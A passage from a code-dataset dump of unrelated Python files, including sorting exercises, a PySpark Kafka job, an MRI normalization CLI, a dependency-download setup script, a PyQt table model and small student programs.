但插入排序一般来说是低效的,因为插入排序每次只能将数据移动一位\n\n希尔排序通过将比较的全部元素分为几个区域来提升插入排序的性能。这样可以让一个元素可以一次性地朝最终位置前进一大步���然后算法再取越来越小的步长进行>排序,算法的最后一步就是普通的插入排序,但是到了这步,需排序的数据几乎是已排好的了(此时插入排序较快)。\n\n1. 先取一个正整数 d1(d1 < n),把全部记录分成 d1 个组,所有距离为 d1 的倍数的记录看成一组,然后在各组内进行插入排序\n2. 然后取 d2(d2 < d1)\n3. 重复上述分组和排序操作;直到取 di = 1(i >= 1) 位置,即所有记录成为一个组,最后对这个组进行插入排序。一般选 d1 约为 n/2,d2 为 d1 /2, d3 为 d2/2 ,…, di = 1。\n\n@author: happyin3\n@created: 2018.05.20\n'''\n\nimport random\n\n\ndef shell_sort(data):\n '''\n 希尔排序\n :param data: 待排序数列\n :return: 已排序数列\n '''\n nlen = len(data)\n\n gap = nlen / 2\n while gap > 0:\n for i in range(gap, nlen):\n # 插入排序\n for j in range(i, 0, -gap):\n if data[j] < data[j-gap]:\n data[j], data[j-gap] = data[j-gap], data[j]\n else:\n break\n gap = gap / 2\n\n return data\n\n\ndef shell_sort_opt(data):\n nlen = len(data)\n\n gap = nlen / 2\n while gap > 0:\n for i in range(gap, nlen):\n temp = data[i]\n j = i\n while j >= gap and data[j-gap] > temp:\n data[j] = data[j-gap]\n j -= gap\n data[j] = temp\n gap = gap / 2\n\n return data\n\nif __name__ == '__main__':\n ori = range(1, 9)\n data = range(1, 9)\n\n random.shuffle(data)\n assert shell_sort(data) == ori\n\n random.shuffle(data)\n assert shell_sort_opt(data) == ori\n","sub_path":"sort/shell_sort.py","file_name":"shell_sort.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"58378798","text":"import argparse\nfrom pyspark.sql import SQLContext, SparkSession\nfrom pyspark.sql.column import Column, _to_java_column\nimport pyspark.sql.types as t\nimport pyspark.sql.functions as F\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-r', '--read-topic', help='the kafka topic to read data from.')\nparser.add_argument('-s', '--sink-topic', help='the kafka topic to sink data to.')\nparser.add_argument('-b', '--broker', default='kafka:29092', help='the kafka bootstrap server.')\nparser.add_argument('-u', '--schema-registry-url', default='http://schema-registry:8081', help='the schema registry server.')\nparser.add_argument('-w', '--window', help='aggregrate window.') \n\n# Parse arguments.\nargs = parser.parse_args()\nschema_registry_url = args.schema_registry_url\nread_topic = args.read_topic\nsink_topic = args.sink_topic\nkafka_broker = args.broker\nwindow = args.window\n\n\nspark = SparkSession \\\n .builder \\\n .appName('structuredStreamingKafka') \\\n .config('schemaRegistryUrl', schema_registry_url) \\\n .config('kafkaBroker', kafka_broker) \\\n .config('readTopic', read_topic) \\\n .config('writeTopic', sink_topic) \\\n .config('window', window) \\\n .getOrCreate()\n\nsc = spark.sparkContext\nsc.setLogLevel(\"ERROR\")\nsqlc = SQLContext(sc)\n\n\ndef from_avro(col):\n jvm_gateway = sc._active_spark_context._gateway.jvm\n abris_avro = jvm_gateway.za.co.absa.abris.avro\n naming_strategy = getattr(\n getattr(abris_avro.read.confluent.SchemaManager, \"SchemaStorageNamingStrategies$\"),\n \"MODULE$\"\n ).TOPIC_NAME()\n\n schema_registry_config_dict = {\n \"schema.registry.url\": spark.conf.get(\"schemaRegistryUrl\"),\n \"schema.registry.topic\": spark.conf.get(\"readTopic\"),\n \"{col}.schema.id\".format(col=col): \"latest\",\n \"{col}.schema.naming.strategy\".format(col=col): naming_strategy\n }\n\n conf_map = getattr(getattr(jvm_gateway.scala.collection.immutable.Map, \"EmptyMap$\"), \"MODULE$\")\n for k, v in schema_registry_config_dict.items():\n conf_map = getattr(conf_map, \"$plus\")(jvm_gateway.scala.Tuple2(k, v))\n\n return Column(abris_avro.functions.from_confluent_avro(_to_java_column(col), conf_map))\n\n\ndef to_avro(col):\n jvm_gateway = sc._active_spark_context._gateway.jvm\n abris_avro = jvm_gateway.za.co.absa.abris.avro\n naming_strategy = getattr(\n getattr(abris_avro.read.confluent.SchemaManager, \"SchemaStorageNamingStrategies$\"),\n \"MODULE$\"\n ).TOPIC_NAME()\n\n schema_registry_config_dict = {\n \"schema.registry.url\": spark.conf.get(\"schemaRegistryUrl\"),\n \"schema.registry.topic\": spark.conf.get(\"writeTopic\"),\n \"{col}.schema.id\".format(col=col): \"latest\", \n \"{col}.schema.naming.strategy\".format(col=col): naming_strategy\n }\n\n conf_map = getattr(getattr(jvm_gateway.scala.collection.immutable.Map, \"EmptyMap$\"), \"MODULE$\")\n for k, v in schema_registry_config_dict.items():\n conf_map = getattr(conf_map, \"$plus\")(jvm_gateway.scala.Tuple2(k, v))\n\n return Column(abris_avro.functions.to_confluent_avro(_to_java_column(col), conf_map))\n\n\nif __name__ == '__main__':\n df = spark \\\n .readStream \\\n .format('kafka') \\\n .option('kafka.bootstrap.servers', spark.conf.get('kafkaBroker')) \\\n .option('startingOffsets', 'latest') \\\n .option('subscribe', spark.conf.get('readTopic')) \\\n .load() \\\n .select(from_avro('value').alias('parsed')) \\\n .select('parsed.*')\n\n query = df \\\n .withColumn('timestamp', F.col('time').cast('timestamp')) \\\n .withWatermark('timestamp', '1 minute') \\\n .groupBy(F.window('timestamp', window), 'exchange', 'symbol') \\\n .agg(F.first('price').alias('open'),\n F.max('price').alias('high'),\n F.min('price').alias('low'),\n F.last('price').alias('close'),\n F.sum('volume').alias('volume')) \\\n .withColumn('time', F.unix_timestamp('window.end').cast('string')) \\\n .withColumn('row_id', F.concat(\n 'symbol', F.lit('#'), 'exchange', F.lit('#'), 'time')) \\\n .withColumn('value', F.struct(\n 'row_id', 'open', 'high', 'low', 'close', 'volume')) \\\n .select(to_avro('value').alias('value')) \\\n .writeStream \\\n .format('kafka') \\\n .option('kafka.bootstrap.servers', spark.conf.get('kafkaBroker')) \\\n .option('topic', spark.conf.get(\"writeTopic\")) \\\n .option('checkpointLocation', \"hdfs://hdfs-namenode:8020/tmp/checkpoint\") \\\n .start() \\\n .awaitTermination()\n","sub_path":"exchanges.py","file_name":"exchanges.py","file_ext":"py","file_size_in_byte":4522,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"442456309","text":"# Faça um programa que identifica o primeiro numero divisivel por 7\n# Onde o numero esteja entre 100 e 200\n\ncontador = 100 # inicia contador em 100\nwhile contador <= 200: # enquanto contador menor do que 200, vai ter laço\n print(\"Procurando.....\") # printa mensagem\n if contador % 7 == 0 : # testa resto da divisao por 7\n print(contador) # mostra o contador caso ele seja divisivel por 7\n break \n contador += 1\n\n","sub_path":"madrugada_01/ex_laco.py","file_name":"ex_laco.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"32158370","text":"# TUGAS !!!\nfrom IPython.display import clear_output \n#variable Global untuk menyimpan data buku\nbuku = []\nkl = 1 \n\n#fungsi untuk menampilkan semua data\ndef show_data():\n if len(buku) <= 0 :\n print(\"belum ada data\")\n else:\n #for indeks in range(len(buku))\n for indeks in buku :\n print(indeks) #% (indeks, buku)\n \nshow_data()\n\n#fungsi Untuk menambah data\ndef insert_data():\n buku_baru = input(\"judul buku :\")\n buku.append(buku_baru)\n\n\n#fungsi untuk edit data\ndef edit_data():\n show_data()\n indeks = int(input(\"input ID buku:\"))\n if(indeks > len(buku)):\n print(\"ID salah\")\n else:\n judul_baru = input(\"judul baru:\")\n buku[indeks] = judul_baru\n\n\n#fungsi untuk menghapus data \ndef delete_data():\n show_data()\n indeks = int(input(\"Inputkan ID buku :\"))\n if(indeks > len(buku)):\n print(\"ID Salah\")\n else:\n buku.remove(buku[indeks])\n \n#fungsi menampilkan menu\ndef show_menu():\n Tr = 1 \n print(\"\\n\")\n print(\"--------------------MENU-------------------\")\n print(\"[1] show data\")\n print(\"[2] insert data\")\n print(\"[3] edit data\")\n print(\"[4] delete data\")\n print(\"[5] exit\")\n \n menu = int(input(\"PILIH MENU > \"))\n print(\"\\n\")\n clear_output(wait=True)\n if (menu == 1):\n show_data()\n elif(menu == 2):\n insert_data()\n elif(menu == 3):\n edit_data()\n elif(menu == 4):\n delete_data\n elif(menu == 5):\n Tr = 0 \n else:\n print(\"salah pilih\")\n return Tr\n\n\nif __name__ == \"__main__\":\n Tr=1\n while(Tr==1):\n Tr=show_menu()\n clear_output(wait=True)\n\n","sub_path":"Alpro 1/1900016105 Rafsanjani Rahadi -F.py","file_name":"1900016105 Rafsanjani Rahadi -F.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"165067319","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nintensity_normalization.exec.lsq_normalize\n\ncommand line executable for least squares intensity normalization routine\n\nAuthor: Jacob Reinhold (jacob.reinhold@jhu.edu)\n\nCreated on: May 08, 2018\n\"\"\"\n\nimport argparse\nimport logging\nimport os\nimport sys\nimport warnings\n\nwith warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=FutureWarning)\n from intensity_normalization.normalize import lsq\n\n\ndef arg_parser():\n parser = argparse.ArgumentParser(description='Use least squares intensity normalization '\n 'on a set of NIfTI MR images')\n required = parser.add_argument_group('Required')\n required.add_argument('-i', '--img-dir', type=str, required=True,\n help='path to directory with images to be processed '\n '(should all be of one contrast)')\n required.add_argument('-o', '--output-dir', type=str, default=None,\n help='save the normalized images to this path [Default = None]')\n\n options = parser.add_argument_group('Options')\n options.add_argument('-m', '--mask-dir', type=str, default=None,\n help='directory for corresponding brain masks for img-dir (not intelligently sorted, '\n 'so ordering must be consistent in directory). [Default = None]')\n options.add_argument('-p', '--plot-hist', action='store_true', default=False,\n help='plot the histograms of the normalized images, save it in the output directory')\n options.add_argument('-v', '--verbosity', action=\"count\", default=0,\n help=\"increase output verbosity (e.g., -vv is more than -v)\")\n return parser\n\n\ndef main(args=None):\n args = arg_parser().parse_args(args)\n if args.verbosity == 1:\n level = logging.getLevelName('INFO')\n elif args.verbosity >= 2:\n level = logging.getLevelName('DEBUG')\n else:\n level = logging.getLevelName('WARNING')\n logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=level)\n logger = logging.getLogger(__name__)\n try:\n if not os.path.isdir(args.img_dir):\n raise ValueError('(-i / --img-dir) argument needs to be a directory of NIfTI images.')\n if args.mask_dir is not None:\n if not os.path.isdir(args.mask_dir):\n raise ValueError('(-m / --mask-dir) argument needs to be a directory of NIfTI images.')\n\n _ = lsq.lsq_normalize(args.img_dir, args.mask_dir, args.output_dir)\n\n if args.plot_hist:\n with warnings.catch_warnings():\n warnings.filterwarnings('ignore', category=FutureWarning)\n from intensity_normalization.plot.hist import all_hists\n import matplotlib.pyplot as plt\n ax = all_hists(args.output_dir, args.mask_dir)\n ax.set_title('Least Squares')\n plt.savefig(os.path.join(args.output_dir, 'hist.png'))\n\n return 0\n except Exception as e:\n logger.exception(e)\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main(sys.argv[1:]))\n","sub_path":"intensity_normalization/exec/lsq_normalize.py","file_name":"lsq_normalize.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"407918691","text":"#!/home/vestrada78840/miniconda3/envs/astroconda/bin/python\n__author__ = 'vestrada'\n\nimport numpy as np\nfrom scipy.interpolate import interp1d, interp2d\nfrom astropy.cosmology import Planck13 as cosmo\nfrom grizli import model\nfrom grizli import multifit\nfrom astropy.io import fits\nfrom astropy.table import Table\nfrom astropy import wcs\nimport os\nimport pandas as pd\nfrom glob import glob\nfrom spec_tools import Source_present, Photometry, Sig_int, Smooth, Scale_model\nimport sys\n\nif __name__ == '__main__':\n field = sys.argv[1] \n subfield = sys.argv[2]\n\n\n\n### set home for files\nhpath = os.environ['HOME'] + '/'\n\nif hpath == '/home/vestrada78840/':\n data_path = '/fdata/scratch/vestrada78840/data/'\n model_path ='/fdata/scratch/vestrada78840/fsps_spec/'\n chi_path = '/fdata/scratch/vestrada78840/chidat/'\n spec_path = '/fdata/scratch/vestrada78840/stack_specs/'\n beam_path = '/fdata/scratch/vestrada78840/beams_v2/'\n template_path = '/fdata/scratch/vestrada78840/data/'\n out_path = '/fdata/scratch/vestrada78840/chidat/'\n pos_path = '/home/vestrada78840/posteriors/'\n phot_path = '/fdata/scratch/vestrada78840/phot/'\n\nelse:\n data_path = '../data/'\n model_path = hpath + 'fsps_models_for_fit/fsps_spec/'\n chi_path = '../chidat/'\n spec_path = '../spec_files/'\n beam_path = '../beams/'\n template_path = '../templates/'\n out_path = '../data/out_dict/'\n pos_path = '../data/posteriors/'\n phot_path = '../phot/'\n\nclass Extract_all(object):\n def __init__(self, galaxy_id, field, grp_list) :\n self.galaxy_id = galaxy_id\n self.field = field\n self.grp = grp_list\n \n def Extract_BeamCutout(self): \n beams = self.grp.get_beams(self.galaxy_id)\n\n #pa = -1\n #for i in beams:\n # if i.grism.filter == 'G102':\n # if pa != i.get_dispersion_PA():\n # pa = i.get_dispersion_PA()\n # i.write_fits(root = beam_path + 'o{0}'.format(pa), clobber=True)\n # fits.setval(beam_path + 'o{0}_{1}.{2}.A.fits'.format(pa, self.galaxy_id, i.grism.filter), 'EXPTIME', ext=0,\n # value=fits.open(beam_path + 'o{0}_{1}.{2}.A.fits'.format(pa, self.galaxy_id, i.grism.filter))[1].header['EXPTIME']) \n\n pa = -1 \n for i in beams:\n if i.grism.filter == 'G141':\n if pa != i.get_dispersion_PA():\n pa = i.get_dispersion_PA()\n i.write_fits(root = beam_path + 'o{0}'.format(pa), clobber=True)\n fits.setval(beam_path + 'o{0}_{1}.{2}.A.fits'.format(pa, self.galaxy_id, i.grism.filter), 'EXPTIME', ext=0,\n value=fits.open(beam_path + 'o{0}_{1}.{2}.A.fits'.format(pa, self.galaxy_id, i.grism.filter))[1].header['EXPTIME']) \n \n##################################\nCpd = pd.read_pickle('/fdata/scratch/vestrada78840/Grism_flts/tabfitdb.pkl')\n\nCids = Cpd.query('field == \"{0}\"'.format(field)).id.values\n\ngrp = multifit.GroupFLT(grism_files = glob('/fdata/scratch/vestrada78840/Grism_flts/{0}/*GrismFLT.fits'.format(subfield)))\nfor ii in Cids:\n try:\n ex = Extract_all(ii, field, grp)\n ex.Extract_BeamCutout()\n ex=[]\n except:\n pass","sub_path":"scripts/beam_extract.py","file_name":"beam_extract.py","file_ext":"py","file_size_in_byte":3302,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"12904687","text":"# Downloads and extracts external dependencies needed to compile.\n# If ext directory already exists, this will fail.\n# On macOS, if you get a SSL: CERTIFICATE_VERIFY_FAILED error,\n# try this: https://stackoverflow.com/a/45018725\n\nimport urllib.request\nimport zipfile\nimport pathlib\nimport os\n\ndependencies = {'systemc': 'https://www.accellera.org/images/downloads/standards/systemc/systemc-2.3.3.zip',\n 'googletest': 'https://github.com/google/googletest/archive/release-1.8.1.zip',\n }\n\ndependency_directory = 'ext'\nprint('Creating Dependency Directory: ' + dependency_directory)\npathlib.Path(dependency_directory).mkdir(exist_ok=True)\n\nfor dependency, file_url in dependencies.items():\n print('Downloading file: ' + file_url)\n zip_file_path = dependency_directory + '/' + dependency + '.zip'\n file_handle_object = urllib.request.urlretrieve(file_url, zip_file_path)\n\n zip_file_object = zipfile.ZipFile(zip_file_path, 'r')\n unzip_directory = dependency_directory + '/' + str(zip_file_object.namelist()[0]).strip('/')\n print('Extracting to: ' + unzip_directory)\n zip_file_object.extractall(path=dependency_directory)\n\n rename_directory = dependency_directory + '/' + dependency\n print('Renaming to: ' + rename_directory)\n os.rename(unzip_directory, rename_directory)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"410681011","text":"# -*- encoding=utf8 -*-\n\"\"\"\nAuthor:goblinM\nDate:2019-09-03\nDescribe:just demo for test macaca\n\"\"\"\nfrom macaca import WebDriver\nfrom retrying import retry\nimport time\nimport os\n\nPATH = lambda p:os.path.abspath(os.path.join(os.path.dirname(__file__), p))\n\ndesired_caps = {\n \"platformName\": \"Android\", # 设备系统\n # \"platformVersion\": \"9.0\", # 设备系统版本\n \"uuid\": \"529c5253\", # 设备名称\n \"package\": \"com.easefun.polyv.cloudclassdemo\", # 应用包名\n \"activity\": \"com.easefun.polyv.cloudclassdemo.login.PolyvCloudClassLoginActivity\" # Activity\n}\nserver_url = {\n \"hostname\": \"localhost\",\n \"port\": 3456\n}\n# desired_caps['app'] = PATH('C:\\\\Users\\\\LENOVO\\\\Desktop\\\\StarZone_V2.0.0.apk')\n# com.easefun.polyvsdk/com.easefun.polyvsdk.activity.PolyvMainActivity\n# 如果设置的是app在电脑上的路径,则不需要配appPackage和appActivity,同理反之\ndriver = WebDriver(desired_caps) #启动app\n\ntime.sleep(5) # 启动app时,需要一定时间进入引导页,所以必须设置等待时间,不然下面会一直报错定位不到元素\n\ndriver.wait_for_element('id','com.easefun.polyv.cloudclassdemo:id/login',5).click()\ntime.sleep(5)\n","sub_path":"auto_test/macaca_demo.py","file_name":"macaca_demo.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"372713757","text":"# -*- coding:utf-8 -*- \n#Date:20181218\n#Author:TianSong\n\n#if xml_path is not the image_path\n\nimport os\nfrom os import listdir, getcwd\nfrom os.path import join\nimport cv2\nimport shutil\n\n\nroot_path = '/media/pico/data1/voc/VOCdevkit/VOC2012/'\n\nimages_path = '/media/pico/data2/kevin/darknet/data/vocdata/images'\n\nlabels_path = '/media/pico/data2/kevin/darknet/data/vocdata/labels'\n\noriginal_imagespath = os.path.join(root_path,\"JPEGImages\")\n\noriginal_labelspath = os.path.join(root_path,\"labels\")\n\nclasses = [\"person\", \"bicycle\", \"car\", \"motorbike\",\"bus\"]\n\ndatalist = []\n\n\ndef recurrent_path(path1):\n\tfilelist1 = os.listdir(path1)\n\tfor file1 in filelist1:\n\t\tpath2 = os.path.join(path1,file1)\n\t\tif os.path.isdir(path2):\n\t\t\trecurrent_path(path2)\n\t\telse:\n\t\t\tdatalist.append(path2)\n\treturn datalist\n\n\ndef convert_function(listdata,labels_path1,images_path1):\n\n\tnum1 = len(listdata)\n\ti = len(os.listdir(images_path)) + 1\n\tj = len(os.listdir(images_path)) + 1 \n\tfor n in range(num1):\n\t\tpath1 = listdata[n]\n\t\t(name1,extension1) = os.path.splitext(path1)\n\t\t(extension,jpgnum) = os.path.split(name1)\n\t\tif os.path.getsize(path1) == 0:\n\t\t\tcontinue\n\n\t\tout_file = os.path.join(labels_path1,str(j)+\".txt\")\n\t\tj = j + 1\n\t\tshutil.copyfile(path1,out_file)\n\n\t\timage_xml_path = os.path.join(original_imagespath,jpgnum+'.jpg')\n\t\timage1 = cv2.imread(image_xml_path)\n\t\tmove_path = os.path.join(images_path1,str(i)+\".jpg\")\n\t\ti = i + 1\n\t\tcv2.imwrite(move_path,image1)\n\n\ndef path_txt(path1):\n\timg_file = open('/media/pico/data2/kevin/darknet/data/voc1229.txt','w')\n\tfor file1 in os.listdir(path1):\n\t\timg_path = os.path.join(path1,file1)\n\t\timg_file.write(img_path+'\\n')\n\timg_file.close()\n\n\nif __name__ == '__main__':\n\t\n\tdatalist = recurrent_path(original_labelspath)\n\tconvert_function(datalist,labels_path,images_path)\n\tpath_txt(images_path)\n\n\n","sub_path":"Pico Code/Yolo物体识别系列/数据处理代码/数据移动/move_voc_data.py","file_name":"move_voc_data.py","file_ext":"py","file_size_in_byte":1815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"29167160","text":"import logging\nfrom django.db import transaction\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.shortcuts import render_to_response\n\nfrom tradeshow.common.model_apis import _getObjectORNone\nfrom tradeshow.common.utils import _buildResponse\nfrom api.models import Tradeshow\nfrom api.models import Exhibitor\nfrom api.models import QualifierQuestions\nfrom api.models import Qualifier\nfrom api.models import LeadMaster\nfrom tsadmin.es_utils import getTradeshowIndexInfo\nfrom tsadmin.es_utils import getESStatus\n\n\nlog = logging.getLogger(__name__)\n\ndef getESMapping(request): \n \"\"\"\n \"\"\"\n tradeshowID = request.GET.get('tradeshowID', '').strip()\n log.info(\"getESMapping, tradeshowID: [%s]\" % tradeshowID)\n\n tradeshow = _getObjectORNone(Tradeshow, id=tradeshowID)\n log.info(\"_getTradeshowQuestions, tradeshow: [%s]\" % tradeshow)\n if not tradeshow:\n statusCode = -1\n message = \"Tradeshow not exists.\"\n return render_to_response(\"es_mapping.html\", {'questions': [], 'errorMessage': 'Tradeshow not exists.'})\n\n result = _getTradeshowQuestions(tradeshowID)\n log.info(\"getESMapping, _getTradeshowQuestions result: [%s]\" % (result, ))\n status, message, questions = result\n if status != 0:\n return render_to_response(\"es_mapping.html\", {'questions': [], 'errorMessage': message})\n\n result = getTradeshowIndexInfo(tradeshow.name)\n log.info(\"getESMapping, getTradeshowIndexInfo result: [%s]\" % (result, ))\n status, lastExportMessage = result\n\n leadCount = LeadMaster.objects.filter(tradeshow=tradeshow).count()\n esStatus = getESStatus()\n _esStatus = 'YES' if esStatus else 'NO'\n return render_to_response(\"es_mapping.html\", {'questions': questions, 'leadCount': leadCount, 'lastExport':lastExportMessage, 'ESRunning': _esStatus})\n\ndef saveESMapping(request): \n \"\"\"\n \"\"\"\n try:\n postData = dict()\n fieldCount = 0\n for key in request.POST:\n postData[key] = request.POST[key].strip()\n if key.startswith('ESField_'):\n fieldCount += 1\n value = request.POST[key].strip()\n if not value:\n status = -1\n message = 'ES Mapping Field is mandatory.'\n raise ValueError(message)\n result = _saveESMapping(postData, fieldCount)\n status, message, info = result\n if status != 0:\n raise ValueError(message)\n response = _buildResponse(status, message)\n return JsonResponse(response)\n except ValueError as ex:\n log.info(\"saveESMapping: Unable to save ES mapping. ValueError: [%s]\" % str(ex))\n response = _buildResponse(status, message)\n except Exception as ex:\n log.info(\"saveESMapping: Unable to save ES mapping. Exception: [%s]\" % str(ex))\n status = -1\n message = 'Unable to save ES Mapping.'\n response = _buildResponse(status, message)\n return JsonResponse(response)\n \ndef _saveESMapping(postData, fieldCount):\n \"\"\"\n \"\"\"\n statusCode = 0\n message = 'ES Mapping save successful.'\n questions = []\n try:\n with transaction.atomic():\n tradeshowID = postData.get('tradeshowID')\n tradeshow = _getObjectORNone(Tradeshow, id=tradeshowID)\n log.info(\"_saveESMapping, tradeshow: [%s]\" % tradeshow)\n if not tradeshow:\n statusCode = -1\n message = \"Tradeshow not exists.\"\n raise ValueError(message)\n for index in range(1, fieldCount+1):\n mappingValue = postData[\"ESField_%s\" % index]\n quaifierIDs = postData[\"qualifierIDs_%s\" % index]\n quaifierIDs = quaifierIDs.split(',')\n quaifierIDs = [int(x) for x in quaifierIDs]\n for quaifierID in quaifierIDs:\n qualifierQuestion = _getObjectORNone(QualifierQuestions, id=quaifierID) \n qualifierQuestion.mapping = mappingValue\n qualifierQuestion.save()\n return (statusCode, message, []) \n except ValueError as ex:\n log.info(\"_getTradeshowQuestions: Unable to get tradehsow questions. ValueError: [%s]\" % str(ex))\n except Exception as ex:\n log.info(\"_getTradeshowQuestions: Unable to get tradehsow questions. Exception: [%s]\" % str(ex))\n statusCode = -1\n message = \"Unable to get tradehsow questions.\"\n return (statusCode, message, [])\n\ndef _getTradeshowQuestions(tradeshowID):\n \"\"\"\n \"\"\"\n statusCode = 0\n message = ''\n questions = []\n try:\n tradeshow = _getObjectORNone(Tradeshow, id=tradeshowID)\n log.info(\"_getTradeshowQuestions, tradeshow: [%s]\" % tradeshow)\n if not tradeshow:\n statusCode = -1\n message = \"Tradeshow not exists.\"\n raise ValueError(message)\n\n exhibitors = Exhibitor.objects.filter(tradeshow=tradeshow)\n qualifiers = Qualifier.objects.filter(exhibitor__in=exhibitors)\n qualifierQuestions = QualifierQuestions.objects.filter(qualifier__in=qualifiers)\n questionsInfo = {}\n for qualifierQuestion in qualifierQuestions:\n qualifierType = qualifierQuestion.qualifier.qualifierTypeID.qualifierType\n qualifierName = qualifierQuestion.qualifier.qualifierName\n question = qualifierQuestion.question.question\n mapping = qualifierQuestion.mapping if qualifierQuestion.mapping else ''\n _id = qualifierQuestion.id\n \n if not questionsInfo.has_key(qualifierType):\n questionsInfo[qualifierType] = {}\n\n if not questionsInfo[qualifierType].has_key(qualifierName):\n questionsInfo[qualifierType][qualifierName] = {}\n if not questionsInfo[qualifierType][qualifierName].has_key(question): \n questionsInfo[qualifierType][qualifierName][question] = {'mapping': mapping, 'ids':[]}\n\n questionsInfo[qualifierType][qualifierName][question]['ids'].append(str(_id))\n #questionsInfo[qualifierType][qualifierName][question]['mapping'] = mapping\n log.info(\"_getTradeshowQuestions: questionsInfo: [%s]\" % questionsInfo)\n questions = []\n for qualifierType in questionsInfo:\n for qualifierName in questionsInfo[qualifierType]:\n for question in questionsInfo[qualifierType][qualifierName]:\n _mapping = questionsInfo[qualifierType][qualifierName][question]['mapping']\n ids = questionsInfo[qualifierType][qualifierName][question]['ids']\n _ids = ','.join(ids)\n _question = (qualifierType, qualifierName, question, _mapping, _ids)\n questions.append(_question)\n questions.sort()\n log.info(\"_getTradeshowQuestions: questions: [%s]\" % questions)\n return (statusCode, message, questions) \n except ValueError as ex:\n log.info(\"_getTradeshowQuestions: Unable to get tradehsow questions. ValueError: [%s]\" % str(ex))\n except Exception as ex:\n log.info(\"_getTradeshowQuestions: Unable to get tradehsow questions. Exception: [%s]\" % str(ex))\n statusCode = -1\n message = \"Unable to get tradehsow questions.\"\n return (statusCode, message, questions)\n","sub_path":"tradeshow/tsadmin/es_views.py","file_name":"es_views.py","file_ext":"py","file_size_in_byte":7381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"425943392","text":"from PyQt4 import QtCore, QtGui\nimport sys,csv\n\nclass CSVTableModel(QtCore.QAbstractTableModel):\n\n\n def __init__(self,data = [] ,headers = [] , parent = None):\n QtCore.QAbstractTableModel.__init__(self,parent)\n self.__headers = headers\n self.__data = data\n\n\n\n def rowCount(self,parent):\n return len(self.__data)\n \n\n def columnCount(self,parent):\n return len(self.__headers)\n\n\n def data(self,index,role):\n\n \n if role == QtCore.Qt.EditRole:\n row = index.row()\n column = index.column()\n return self.__data[row][column]\n \n \n if role == QtCore.Qt.DisplayRole:\n row = index.row()\n column = index.column()\n value = self.__data[row][column]\n \n return value\n\n\n def flags(self, index):\n return QtCore.Qt.ItemIsEditable | QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable\n\n\n def setData(self, index, value, role = QtCore.Qt.EditRole):\n if role == QtCore.Qt.EditRole:\n \n row = index.row()\n column = index.column()\n self.__data[row][column] = str(value.toPyObject())\n \n \n #add last empty row for further entry\n if ((row + 1) == self.rowCount(None) and self.__data[row][0:] != [\"\" for i in range(self.columnCount(None))] ):\n self.insertLastRow()\n \n self.dataChanged.emit(index, index)\n return True\n\n\n else:\n return False\n\n\n\n def headerData(self, section, orientation, role):\n \n if role == QtCore.Qt.DisplayRole:\n \n if orientation == QtCore.Qt.Horizontal:\n \n if section < len(self.__headers):\n return self.__headers[section]\n else:\n return \"not implemented\"\n else:\n return \"\"\n\n\n def getData(self):\n return self.__data[:-1]\n \n def getHeaders(self):\n return self.__headers\n \n\n\n def insertRows(self, position, rows, data, parent = QtCore.QModelIndex()):\n \n self.beginInsertRows(parent, position, position + rows - 1)\n\n for i in range(rows):\n if data==[]: \n self.__data.insert(position + i, [\"\" for i in self.__headers]) \n else:\n self.__data.insert(position + i, data[i]) \n \n self.endInsertRows()\n \n return True\n \n\n \n def insertLastRow(self):\n data = [[\"\" for i in range(self.columnCount(None))]]\n self.insertRows(self.rowCount(None),1,data)\n \n\n\n def insertColumns(self, position, columns, parent = QtCore.QModelIndex()):\n pass\n\n\n\n def removeRows(self, position, rows, parent = QtCore.QModelIndex()):\n self.beginRemoveRows(parent, position, position + rows - 1)\n \n for i in range(rows):\n value = self.__data[position]\n self.__data.remove(value)\n \n self.endRemoveRows()\n return True\n\n\n def setHeaderData(self,headers):\n self.__headers = headers\n\n\n def clearData(self):\n self.removeRows(0,self.rowCount(None))\n \n\n\nif __name__ == \"__main__\":\n app = QtGui.QApplication(sys.argv)\n tv = QtGui.QTableView()\n# tv.verticalHeader().hide()\n tv.show()\n model = CSVTableModel()\n\n\n inputfile = open(\"t5configfast.csv\")\n filecsv = csv.reader(inputfile)\n headers = filecsv.next()\n data = [row for row in filecsv]\n\n\n\n model.insertRows(0,len(data),data)\n model.setHeaderData(headers)\n model.insertLastRow()\n\n model.insertRows(5,2,[])\n\n tv.setModel(model)\n\n# print model.getData()\n\n# print tv.selectionModel().selection().indexes()\n\n\n\n# model.removeRows(2,3)\n# model.clearData()\n# model.insertLastRow()\n\n sys.exit(app.exec_())\n\n","sub_path":"CSVTableModel.py","file_name":"CSVTableModel.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"519377027","text":"from scenes import MapScene, BattleScene\nimport game\n\nclass Manager:\n def __init__(self):\n self.accum = 0\n self.player_movement_cooldown = False\n self.movement_cooldown_elapsed = 0\n self.paused = False\n self.scenes = {\n 'map': MapScene(),\n 'battle': BattleScene()\n }\n self.map_rects = []\n\n def 